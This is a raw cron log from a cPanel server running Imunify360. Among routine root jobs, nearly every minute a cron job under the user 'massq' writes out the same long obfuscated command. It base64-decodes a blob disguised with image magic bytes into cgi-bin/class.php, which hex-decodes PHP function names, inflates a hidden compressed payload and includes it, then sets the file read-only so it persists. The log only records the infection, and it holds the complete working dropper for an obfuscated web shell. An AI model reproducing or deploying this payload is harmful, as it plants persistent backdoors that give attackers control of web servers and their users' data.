Sep 10 01:25:01 server CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:25:01 server CROND[21939]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:26:01 server CROND[22817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:26:01 server CROND[22818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:26:01 server CROND[22819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:27:01 server CROND[23321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:27:01 server CROND[23322]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:27:01 server CROND[23323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:27:01 server CROND[23324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:28:01 server CROND[23797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:28:01 server CROND[23798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:28:01 server CROND[23799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:29:01 server CROND[24175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:29:01 server CROND[24177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:29:01 server CROND[24176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:30:02 server CROND[24560]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:30:02 server CROND[24561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:30:02 server CROND[24563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:30:02 server CROND[24562]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:30:02 server CROND[24568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:30:02 server CROND[24566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:30:02 server CROND[24565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:30:02 server CROND[24569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:31:01 server CROND[25975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:31:01 server CROND[25976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:31:01 server CROND[25977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:32:01 server CROND[26389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:32:01 server CROND[26390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:32:01 server CROND[26391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:33:01 server CROND[26869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:33:01 server CROND[26870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:33:01 server CROND[26871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:34:01 server CROND[27255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:34:01 server CROND[27256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:34:01 server CROND[27257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:35:01 server CROND[27647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:35:01 server CROND[27649]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:35:01 server CROND[27651]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:35:01 server CROND[27656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:35:01 server CROND[27654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:35:01 server CROND[27652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:35:01 server CROND[27653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:35:01 server CROND[27657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:35:01 server CROND[27655]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 01:36:01 server CROND[28496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:36:01 server CROND[28497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:36:01 server CROND[28498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:37:01 server CROND[28885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:37:01 server CROND[28884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:37:01 server CROND[28886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
